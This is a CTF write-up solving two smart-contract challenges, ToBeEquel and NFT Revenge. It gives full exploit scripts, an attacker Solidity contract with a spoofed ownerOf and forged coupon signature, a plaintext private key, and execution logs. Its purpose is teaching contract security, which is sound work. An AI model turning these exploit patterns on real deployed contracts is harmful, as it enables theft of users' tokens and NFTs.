第五届“强网”拟态防御国际精英挑战赛线上预选赛区块链方向题解

区块链安全 2年前 (2022) admin

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前言

周末参加了一下第五届“强网”拟态防御国际精英挑战赛线上预选赛，冲了一波Blockchain方向，也顺便检验解题工具杰作·海神波塞冬的各项功能是否正常，还多了一些关于新功能的想法。

我的题解文章都会尽量详细，以帮助新加入这个领域的师傅能更快速的学习，也可以让有经验的师傅获得更多的收获，希望以此微薄之力，助力国内区块链安全领域更进一步发展。同时致敬 pikachu 师傅，他是国内较早的那波研究区块链安全的人，为我们后辈提供了快速学习的基础，感谢他的无私奉献带动了非常多的新师傅加入区块链安全领域的学习。

ToBeEquel

题目描述

合约文件

解题过程

首先使用nc 140.210.195.172 10001连接服务器看看情况，发现需要先进行工作量证明，使用Poseidon.PoW模块即可，直接给出以下脚本pow.py。

from Poseidon.PoW import PoWUtils   # https://github.com/B1ue1nWh1te/Poseidon

Connection = PoWUtils.ProofOfWork_SHA256_EndWithZero("140.210.195.172", 10001, "sha256(", "+?)", 4, 20, "?=")
Connection.interactive()

执行python3 pow.py，成功进入题目环境。

进入Option 4，获取合约源代码（已附在题目描述中）。

进入Option 1，创建Deployer账户。

访问http://140.210.195.172/，为该账户领取测试币以发起交易。

进入Option 2，部署题目合约，记录下Transaction hash以获取合约地址。

下面开始对合约进行分析，首先看到解出条件，需要满足owner的代币余额与我们账户的代币余额相等。

然后发现owner的最初余额有500，并且通过_Cal函数可以实现余额的修改，但是需要调用者为合约部署者或合约自身。

最后发现关键函数CallTest，它允许我们以题目合约的身份调用一个外部合约的自定义函数。一开始我以为是函数选择器碰撞类型，但发现这题不需要这么麻烦，直接传目的函数即可。

那么我们只需要将to设置为题目合约地址，customFallback设置为_Cal(uint256,uint256)即可进行余额的修改。但需要注意的是参数的编码问题，在abi.encodeWithSignature(customFallback, msg.sender, data)中对CallTest的调用者地址和传入的data值也进行了编码，这两个值将会作为函数参数(uint256,uint256)传入_Cal函数，我们需要对其进行构造。

经过测试我发现当data传入0x，即传入空值时，第二个uint256的值也就是amount参数的值会变为0x40，那么我们每调用一次_Cal，自己账户的代币余额就会增加64，而合约账户的代币余额减少的值与我们账户地址的两位后缀有关(从value & 0xff得知，value的值即为我们的账户地址)。但由于合约的余额每一次最多减少0xff，而我们的余额每一次最多增加0x40，所以考虑使用两次调用_Cal来实现余额相等。

经过上述分析得到这一方程：500-2x=64*2，解得x=186，即十六进制的0xba，所以我们需要使用虚荣地址生成器来生成账户地址最后两位为ba的账户。使用这个账户来调用_Cal就可以实现每次合约的余额减少186，我们自己的余额增加64，两次后即可相等为128。

同样也给这个账户领取测试币用于发送链上交易，之后根据上述过程编写脚本进行攻击即可，使用Poseidon.Blockchain模块。代码中有详细注释。

from Poseidon.Blockchain import *   # https://github.com/B1ue1nWh1te/Poseidon

# 连接至链
chain = Chain("http://140.210.195.172:8545")

# 导入账户
account = Account(chain, "13b0708eeaea2b2ec752d18f9e71780c3a51d29e3c6944ab171b1a568a4f01c3")

# 选择 Solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.6.12")

# 编译题目合约
abi, bytecode = BlockchainUtils.Compile("target.sol", "ToBeEquel")

# 获取题目合约地址
contractAddress = chain.Net.eth.get_transaction_receipt("0x50bf4afa76ce9071edec120f1901f6e56563255efdcae485a6c3d55a38ac9ca4")["contractAddress"]

# 实例化合约
contract = Contract(account, contractAddress, abi)

# 查询余额
contract.ReadOnlyCallFunction("balances", "0x5799812Cc367Aa90073cba2a1D8f2141547A631b")  # 合约部署者即 owner
contract.ReadOnlyCallFunction("balances", account.Address)

# 攻击两次以使余额相等（均为128）
contract.CallFunction("CallTest", contractAddress, "_Cal(uint256,uint256)", "0x")
contract.CallFunction("CallTest", contractAddress, "_Cal(uint256,uint256)", "0x")

# 再次查询余额
contract.ReadOnlyCallFunction("balances", "0x5799812Cc367Aa90073cba2a1D8f2141547A631b")  # 合约部署者即 owner
contract.ReadOnlyCallFunction("balances", account.Address)

# 触发 ForFlag 事件
contract.CallFunction("getFlag")

运行日志如下（这是写题解复现时的数据）：

2022-11-06 00:09:10.725 | SUCCESS  | Poseidon.Blockchain:__init__:32 - 
[Chain][Connect]Successfully connected to [http://140.210.195.172:8545]. [Delay] 141 ms
2022-11-06 00:09:10.749 | SUCCESS  | Poseidon.Blockchain:__init__:241 - 
[Account][Import]Successfully import account [0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba].
2022-11-06 00:09:10.844 | SUCCESS  | Poseidon.Blockchain:GetBalance:122 - 
[Chain][GetBalance][0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba]
[1000000000000000000 Wei]<=>[1 Ether]
信息: 用提供的模式无法找到文件。
2022-11-06 00:09:11.594 | SUCCESS  | Poseidon.Blockchain:SwitchSolidityVersion:580 - 
[BlockchainUtils][SwitchSolidityVersion]Current Version: 0.6.12
2022-11-06 00:09:11.809 | SUCCESS  | Poseidon.Blockchain:Compile:610 - 
[BlockchainUtils][Compile]
[FileCourse]target.sol
[ContractName]ToBeEquel
[ABI][{'inputs': [], 'stateMutability': 'nonpayable', 'type': 'constructor'}, {'anonymous': False, 'inputs': [{'indexed': False, 'internalType': 'address', 'name': 'addr', 'type': 'address'}], 'name': 'ForFlag', 'type': 'event'}, {'inputs': [{'internalType': 'address', 'name': 'to', 'type': 'address'}, {'internalType': 'string', 'name': 'customFallback', 'type': 'string'}, {'internalType': 'bytes', 'name': 'data', 'type': 'bytes'}], 'name': 'CallTest', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'uint256', 'name': 'value', 'type': 'uint256'}, {'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}], 'name': '_Cal', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'name': 'balances', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'getFlag', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}]
[Bytecode]608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101f4600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b27806100c76000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806327e235e314610051578063a0f1d69c14610081578063f96339301461009d578063feb6d173146100a7575b600080fd5b61006b60048036038101906100669190610679565b6100c3565b60405161007891906108fe565b60405180910390f35b61009b600480360381019061009691906106a2565b6100db565b005b6100a56101eb565b005b6100c160048036038101906100bc9190610721565b6102cf565b005b60016020528060005260406000206000915090505481565b6100e483610594565b156101e65760008373ffffffffffffffffffffffffffffffffffffffff1660008433856040516024016101189291906108ae565b60405160208183030381529060405290604051610135919061087c565b60405180910390207bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101979190610865565b60006040518083038185875af1925050503d80600081146101d4576040519150601f19603f3d011682016040523d82523d6000602084013e6101d9565b606091505b50509050806101e457fe5b505b505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461029657600080fd5b7f89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2336040516102c59190610893565b60405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061035457503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038a906108de565b60405180910390fd5b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061043e57600080fd5b600254600160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561048c57600080fd5b60ff8216600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546002819055505050565b600080823b905060008111915050919050565b6000813590506105b681610ac3565b92915050565b600082601f8301126105cd57600080fd5b81356105e06105db82610946565b610919565b915080825260208301602083018583830111156105fc57600080fd5b610607838284610a70565b50505092915050565b600082601f83011261062157600080fd5b813561063461062f82610972565b610919565b9150808252602083016020830185838301111561065057600080fd5b61065b838284610a70565b50505092915050565b60008135905061067381610ada565b92915050565b60006020828403121561068b57600080fd5b6000610699848285016105a7565b91505092915050565b6000806000606084860312156106b757600080fd5b60006106c5868287016105a7565b935050602084013567ffffffffffffffff8111156106e257600080fd5b6106ee86828701610610565b925050604084013567ffffffffffffffff81111561070b57600080fd5b610717868287016105bc565b9150509250925092565b6000806040838503121561073457600080fd5b600061074285828601610664565b925050602061075385828601610664565b9150509250929050565b61076681610a3a565b82525050565b610775816109fe565b82525050565b60006107868261099e565b61079081856109b4565b93506107a0818560208601610a7f565b6107a981610ab2565b840191505092915050565b60006107bf8261099e565b6107c981856109c5565b93506107d9818560208601610a7f565b80840191505092915050565b60006107f0826109a9565b6107fa81856109e1565b935061080a818560208601610a7f565b80840191505092915050565b6000610823600e836109d0565b91507f6e6f7420617574686f72697a65640000000000000000000000000000000000006000830152602082019050919050565b61085f81610a30565b82525050565b600061087182846107b4565b915081905092915050565b600061088882846107e5565b915081905092915050565b60006020820190506108a8600083018461075d565b92915050565b60006040820190506108c3600083018561076c565b81810360208301526108d5818461077b565b90509392505050565b600060208201905081810360008301526108f781610816565b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2022-11-06 00:09:11.948 | SUCCESS  | Poseidon.Blockchain:__init__:484 - 
[Contract][Instantiate]Successfully instantiated contract [0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02].
2022-11-06 00:09:12.125 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:535 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]balances('0x5799812Cc367Aa90073cba2a1D8f2141547A631b',)
[Result]500
2022-11-06 00:09:12.271 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:535 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]balances('0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba',)
[Result]0
2022-11-06 00:09:12.502 | INFO     | Poseidon.Blockchain:CallFunction:501 - 
[Contract][CallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]CallTest('0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02', '_Cal(uint256,uint256)', '0x')
2022-11-06 00:09:12.843 | INFO     | Poseidon.Blockchain:SendTransaction:328 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0x49fdd75928684c8ee9a33287a1840f996ff4a86bfb7f44bf889727ad8bb809f2
[Txn]{
  "chainId": 8888,
  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "to": "0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02",
  "nonce": 0,
  "value": 0,
  "gasPrice": "1.2 Gwei",
  "gas": 82584,
  "data": "0xa0f1d69c000000000000000000000000f332e425fc7e63b1cf0d2041505d4e6acde38d02000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000155f43616c2875696e743235362c75696e7432353629000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
}
2022-11-06 00:09:16.631 | SUCCESS  | Poseidon.Blockchain:SendTransaction:336 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0x49fdd75928684c8ee9a33287a1840f996ff4a86bfb7f44bf889727ad8bb809f2
[BlockNumber]92321
[From]0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba
[To]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Value]0 [GasUsed]81810
[Data]0xa0f1d69c000000000000000000000000f332e425fc7e63b1cf0d2041505d4e6acde38d02000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000155f43616c2875696e743235362c75696e7432353629000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
[Logs][]
2022-11-06 00:09:16.871 | INFO     | Poseidon.Blockchain:CallFunction:501 - 
[Contract][CallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]CallTest('0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02', '_Cal(uint256,uint256)', '0x')
2022-11-06 00:09:17.203 | INFO     | Poseidon.Blockchain:SendTransaction:328 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0x3f416504cb1ba04b1ac421a051e53b336342aee2abb6f2ccaa924625acc7a102
[Txn]{
  "chainId": 8888,
  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "to": "0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02",
  "nonce": 1,
  "value": 0,
  "gasPrice": "1.2 Gwei",
  "gas": 52108,
  "data": "0xa0f1d69c000000000000000000000000f332e425fc7e63b1cf0d2041505d4e6acde38d02000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000155f43616c2875696e743235362c75696e7432353629000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
}
2022-11-06 00:09:22.574 | SUCCESS  | Poseidon.Blockchain:SendTransaction:336 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0x3f416504cb1ba04b1ac421a051e53b336342aee2abb6f2ccaa924625acc7a102
[BlockNumber]92323
[From]0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba
[To]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Value]0 [GasUsed]51810
[Data]0xa0f1d69c000000000000000000000000f332e425fc7e63b1cf0d2041505d4e6acde38d02000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000155f43616c2875696e743235362c75696e7432353629000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
[Logs][]
2022-11-06 00:09:22.764 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:535 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]balances('0x5799812Cc367Aa90073cba2a1D8f2141547A631b',)
[Result]128
2022-11-06 00:09:22.924 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:535 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]balances('0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba',)
[Result]128
2022-11-06 00:09:23.152 | INFO     | Poseidon.Blockchain:CallFunction:501 - 
[Contract][CallFunction]
[ContractAddress]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Function]getFlag()
2022-11-06 00:09:23.448 | INFO     | Poseidon.Blockchain:SendTransaction:328 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0xc174fa072a9cd7464c2f1c79843621e8cfcf00f622f30bd4204dd653f30a3eba
[Txn]{
  "chainId": 8888,
  "from": "0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba",
  "to": "0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02",
  "nonce": 2,
  "value": 0,
  "gasPrice": "1.2 Gwei",
  "gas": 25193,
  "data": "0xf9633930"
}
2022-11-06 00:09:28.650 | SUCCESS  | Poseidon.Blockchain:SendTransaction:336 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0xc174fa072a9cd7464c2f1c79843621e8cfcf00f622f30bd4204dd653f30a3eba
[BlockNumber]92325
[From]0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba
[To]0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02
[Value]0 [GasUsed]25193
[Data]0xf9633930
[Logs][AttributeDict({'address': '0xF332E425FC7e63B1cf0D2041505d4E6AcDE38d02', 'topics': [HexBytes('0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2')], 'data': '0x0000000000000000000000002f7ccf235768b35e0ba171d7fa60690ef35e79ba', 'blockNumber': 92325, 'transactionHash': HexBytes('0xc174fa072a9cd7464c2f1c79843621e8cfcf00f622f30bd4204dd653f30a3eba'), 'transactionIndex': 0, 'blockHash': HexBytes('0x66036d09fbd50b766a6f03aae7cda0ac5f8f3c4d9b7fef1f7b02d138a127b28d'), 'logIndex': 0, 'removed': False})]

最后进入Option 3，获取flag。

flag{Make_Two_Equel_Successfully}

NFT Revenge

题目描述

合约文件(自行微调版)

解题过程

首先使用nc 140.210.217.225 10001连接服务器看看情况，发现需要先进行工作量证明，使用Poseidon.PoW模块即可，直接给出以下脚本pow.py。

from Poseidon.PoW import PoWUtils   # https://github.com/B1ue1nWh1te/Poseidon

Connection = PoWUtils.ProofOfWork_SHA256_EndWithZero("140.210.217.225", 10001, "sha256(", "+?)", 4, 20, "?=")
Connection.interactive()

执行python3 pow.py，成功进入题目环境。

进入Option 4，获取合约源代码（已附在题目描述中）。

进入Option 1，创建Deployer账户。

访问http://140.210.217.225:8080/，为该账户领取测试币以发起交易。

进入Option 2，部署题目合约，记录下合约地址以备后续使用。

下面开始对合约进行分析，通过上面题目描述中已经附上的代码可以看出，这一题和0CTF 2022的NFT Market那题非常相似，但是Solidity版本由原先包含Calldata 元组 ABI 重新编码中的头部溢出错误的0.8.15版本变为了修复该 BUG 后的0.8.16版本，因此之前的解题方法就不太适用于这一题。

于是大致对比一下两道题目的合约代码，发现只有purchaseWithCoupon函数是有比较大的变动的，因此我们需要以新的思路进行构造，以获取#3NFT。

NFT Market原版：

NFT Revenge修改版：

接下来还是从头开始分析，先看NFT合约，很正常没有什么疑点。

再看Token合约，有用的信息是：Market合约的代币余额为1337、我们可以调用一次airdrop函数以获得数量为5的代币。

之后看到Market合约的构造函数，所有相关合约都由其创建，并且一共mint了3个NFT，分别以1、1337、13333333337的价格依次上架了这三个NFT。

然后看到Market合约的win函数，它指示了我们需要获取到这三个NFT才能达到解出条件，那么接下来就是思考如何空手套白狼以获取这三个已经上架到Market的NFT了。

首先不难判断出我们可以直接领取空投代币去买下#1NFT，我们必须这么做因为后续的各种操作都离不开#1NFT为我们打开格局，在初始状态下，Market的orders的内容可以抽象为[#1,#2,#3]。

为了方便讲解在此处放出Hacker.sol攻击合约的部分代码以进行形式化说明，我们的操作全称由攻击合约代为完成，首先调用Token.airdrop()获取启动资金，然后调用Market.purchaseOrder(0)表示全款买下#1NFT，最后别忘了用NFT.approve(address(Market), 1)授权Market可以移动现在属于我们的#1NFT，以便后续的上架操作能够正常完成。

执行Hack1后，Market的orders为[#3,#2]，这由Market的_deleteOrder处理。

之后要拿下的是#3NFT，顺序不能弄错，这是特地构造出来的。下面还是以攻击合约的代码来说明，先看红框部分，趁着我们还拥有对#1的控制权，先插入一个Order以便我们之后能将#1NFT买回。之后上架一个我们自己创建的假的NFT，并且它的tokenId为3，为什么是3呢，由于代码间跨度较大，我们后续再分析。再然后再上架一次#1NFT，这次的作用就是为了进行攻击#3NFT的。这三行之后Market的orders为[#3,#2,#1,#Fake3,#1]。

接下来开始切回Market合约进行分析，首先#3NFT的价格为13333333337，我们没有足够的代币直接买下，也没有漏洞可供我们获得如此大量的代币，所以只能另寻思路。看到purchaseWithCoupon函数，并重点关注红框部分代码，可以发现它重新通过getOrder来获取了新的Order对象（因为在上面调用了一次_deleteOrder删掉了旧的Order），但是发送的tokenId还是用的之前临时存储的旧的order对象。

因此也解释了我们上面为何那样构造订单顺序，首先通过上架假的且tokenId为3的NFT，以通过前面的重重验证，并且在这个漏洞点发挥重要作用，新的Order是我们最后插入的#1NFT，而它的nftAddress是我们所期望的与解题相关的NFT合约地址，这样一来，可以让Market合约把#3NFT发给我们，但还有一步就是需要构造owner，以使其值变成Market合约的地址（因为它是#3NFT的拥有者），如果不构造的话owner就会变成我们的地址，这样转移#3NFT就会失败。

下面看到我们自己的HackerNFT合约，构造ownerOf以使其在Verifier调用的时候显示owner是我们自己以便通过签名验证，在Market调用的时候显示owner是Market以便转移#3NFT能够成功。

最后就是解决签名验证问题了，看到题目的CouponVerifierBeta合约，我们需要构造SignedCoupon对象，并且其中的coupon.issuer需要为我们通过私钥控制的能够对消息进行签名的账户的地址，这也就是为什么在Verifier调用orderOf时返回Me的原因。然后coupon.user就是攻击合约地址，最后是SignedCoupon对象的整体构造。

看到攻击合约的GetMessageHashToSign函数，这里构造了和上面分析一致的FakerOrder，以上架#Fake3NFT，然后构造FakeCoupon，指示我们这个Coupon是用来购买Market.orders[3]这个#Fake3NFT的，最后就是按照前面CouponVerifierBeta给出的消息格式进行编码并获取keccak256值，以便我们对消息哈希进行链下签名，获得v、r、s的值。

需要注意的是签名需要以EIP-712标准进行（EIP-191 和 EIP-712 的区别），然后将签名数据传给Hack3以进行构造SignedCoupon，之后Market.purchaseWithCoupon(FakeSignedCoupon)就可以跑通了，成功拿下#3NFT，在此之后Market的orders为[#3,#2,#1]。

最后我们把#2NFT拿下并且利用之前的布局将#1买回，看到Market的purchaseTest，它允许我们用Market的代币以指定价格来购买一个NFT，并且这个付款是给这个指定NFT的原owner的。前面我们提到Market合约的代币余额为1337，而且#2NFT的价格也为1337，那么我们直接让其以1337的价格购买我们前面拿下的#1NFT，这样就有钱买#2NFT了，并且我们还剩有一些代币以买回#1NFT。

根据上述分析，得到Hack2，第一次Market.purchaseOrder(1)后，Market的orders为[#3,#1]，所以再执行一次Market.purchaseOrder(1)买回#1NFT，至此我们已经拿到了全部NFT，调用Market.win()即可触发SendFlag事件。

下面给出完整的Hacker.sol攻击合约代码，如果合约需要接收NFT的话按照ERC721标准的描述，我们还需要实现一个onERC721Received函数，它返回的是this.onERC721Received.selector。（这里的target.sol就是题目合约文件上面分析已经很详细了就不给注释了）：

pragma solidity 0.8.16;

import "./target.sol";

contract Hacker {
    CtfMarket Market;
    CtfNFT NFT;
    CtfToken Token;
    CouponVerifierBeta Verifier;
    HackerNFT FakeNFT;
    address Me;

    constructor(address _marketAddress) {
        Market = CtfMarket(_marketAddress);
        NFT = CtfNFT(Market.ctfNFT());
        NFT.setApprovalForAll(address(Market), true);
        Token = CtfToken(Market.ctfToken());
        Token.approve(address(Market), type(uint256).max);
        Verifier = CouponVerifierBeta(Market.verifier());
        FakeNFT = new HackerNFT(address(Market), address(Verifier), msg.sender);
        FakeNFT.mint(address(this), 1);
        FakeNFT.mint(address(this), 2);
        FakeNFT.mint(address(this), 3);
        FakeNFT.setApprovalForAll(msg.sender, true);
        Me = msg.sender;
    }

    function Hack1() public {
        Token.airdrop();
        Market.purchaseOrder(0);
        NFT.approve(address(Market), 1);
    }

    function GetMessageHashToSign() public view returns (bytes32) {
        Order memory FakeOrder = Order(address(FakeNFT), 3, 1);
        Coupon memory FakeCoupon = Coupon(
            3,
            1,
            Me,
            address(this),
            "want to get flag"
        );
        bytes32 MessageHash = keccak256(
            abi.encode(
                "I, the issuer",
                FakeCoupon.issuer,
                "offer a special discount for",
                FakeCoupon.user,
                "to buy",
                FakeOrder,
                "at",
                FakeCoupon.newprice,
                "because",
                FakeCoupon.reason
            )
        );
        return MessageHash;
    }

    function Hack3(
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public {
        Market.createOrder(address(NFT), 1, 1);
        Market.createOrder(address(FakeNFT), 3, 1);
        Market.createOrder(address(NFT), 1, 1);
        Order memory FakeOrder = Order(address(FakeNFT), 3, 1);
        Coupon memory FakeCoupon = Coupon(
            3,
            1,
            Me,
            address(this),
            "want to get flag"
        );
        Signature memory FakeSignature = Signature(v, [r, s]);
        SignedCoupon memory FakeSignedCoupon = SignedCoupon(
            FakeCoupon,
            FakeSignature
        );
        Market.purchaseWithCoupon(FakeSignedCoupon);
    }

    function Hack2() public {
        Market.purchaseTest(address(NFT), 1, 1337);
        Market.purchaseOrder(1);
        Market.purchaseOrder(1);
        Market.win();
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract HackerNFT is ERC721, Ownable {
    address Market;
    address Verifier;
    address Hacker;
    address Me;

    constructor(
        address _marketAddress,
        address _verifierAddress,
        address _me
    ) ERC721("HackerNFT", "NFT") {
        Market = _marketAddress;
        Verifier = _verifierAddress;
        Hacker = msg.sender;
        Me = _me;
        _setApprovalForAll(address(this), Hacker, true);
        _setApprovalForAll(address(Market), Hacker, true);
    }

    function mint(address to, uint256 tokenId) external onlyOwner {
        _mint(to, tokenId);
    }

    function ownerOf(uint256 tokenId) public view override returns (address) {
        if (msg.sender == Verifier) {
            return Me;
        } else if (msg.sender == Market) {
            return Market;
        } else {
            return Hacker;
        }
    }
}

根据上述分析编写链上交互脚本（已给出详细注释）：

from Poseidon.Blockchain import *   # https://github.com/B1ue1nWh1te/Poseidon


# 连接至链
chain = Chain("http://140.210.217.225:8545")

# 导入账户
account = Account(chain, "13b0708eeaea2b2ec752d18f9e71780c3a51d29e3c6944ab171b1a568a4f01c3")

# 选择 Solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.8.16")

# 题目合约地址
MarketAddress = "0xC1401CC3Fa69c089c7F756C8E31627364e5dfAb6"

# 编译攻击合约
abi, bytecode = BlockchainUtils.Compile("hacker.sol", "Hacker")

# 部署攻击合约
Hacker = account.DeployContract(abi, bytecode, 0, MarketAddress)["Contract"]

# 攻击 #1 NFT
Hacker.CallFunction("Hack1")

# 获取消息哈希以便进行签名
MessageHash = Hacker.ReadOnlyCallFunction("GetMessageHashToSign").hex()


# 以 EIP-712 标准对消息哈希进行签名
def SignMessageHash(MessageHash):
    SignedData = chain.Net.eth.account.signHash(MessageHash, account.PrivateKey)
    Signature = SignedData.signature.hex()
    V = '0x' + Signature[-2:]
    R = '0x' + Signature[2:66]
    S = '0x' + Signature[66:-2]
    return(V, R, S)


# 签名得到 v,r,s
V, R, S = SignMessageHash(MessageHash)

# 攻击 #3 NFT
Hacker.CallFunction("Hack3", int(V, 16), R, S)

# 攻击 #2 NFT
Hacker.CallFunction("Hack2")

运行日志如下（以下结果是写题解复现时的）：

2022-11-06 10:45:18.027 | SUCCESS  | Poseidon.Blockchain:__init__:32 - 
[Chain][Connect]Successfully connected to [http://140.210.217.225:8545]. [Delay] 128 ms
2022-11-06 10:45:18.056 | SUCCESS  | Poseidon.Blockchain:__init__:241 - 
[Account][Import]Successfully import account [0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba].
2022-11-06 10:45:18.134 | SUCCESS  | Poseidon.Blockchain:GetBalance:122 - 
[Chain][GetBalance][0x2f7CcF235768B35e0ba171d7Fa60690EF35e79ba]
[1000000000000000000 Wei]<=>[1 Ether]
信息: 用提供的模式无法找到文件。
2022-11-06 10:45:18.423 | SUCCESS  | Poseidon.Blockchain:SwitchSolidityVersion:580 - 
[BlockchainUtils][SwitchSolidityVersion]Current Version: 0.8.16
2022-11-06 10:45:19.125 | SUCCESS  | Poseidon.Blockchain:Compile:610 - 
[BlockchainUtils][Compile]
[FileCourse]hacker.sol
[ContractName]Hacker
[ABI][{'inputs': [{'internalType': 'address', 'name': '_marketAddress', 'type': 'address'}], 'stateMutability': 'nonpayable', 'type': 'constructor'}, {'inputs': [], 'name': 'GetMessageHashToSign', 'outputs': [{'internalType': 'bytes32', 'name': '', 'type': 'bytes32'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'Hack1', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [], 'name': 'Hack2', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'uint8', 'name': 'v', 'type': 'uint8'}, {'internalType': 'bytes32', 'name': 'r', 'type': 'bytes32'}, {'internalType': 'bytes32', 'name': 's', 'type': 'bytes32'}], 'name': 'Hack3', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '', 'type': 'address'}, {'internalType': 'address', 'name': '', 'type': 'address'}, {'internalType': 'uint256', 'name': '', 'type': 'uint256'}, {'internalType': 'bytes', 'name': '', 'type': 'bytes'}], 'name': 'onERC721Received', 'outputs': [{'internalType': 'bytes4', 'name': '', 'type': 'bytes4'}], 'stateMutability': 'pure', 'type': 'function'}]
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2022-11-06 10:45:19.808 | INFO     | Poseidon.Blockchain:DeployContract:418 - 
[Account][DeployContract]
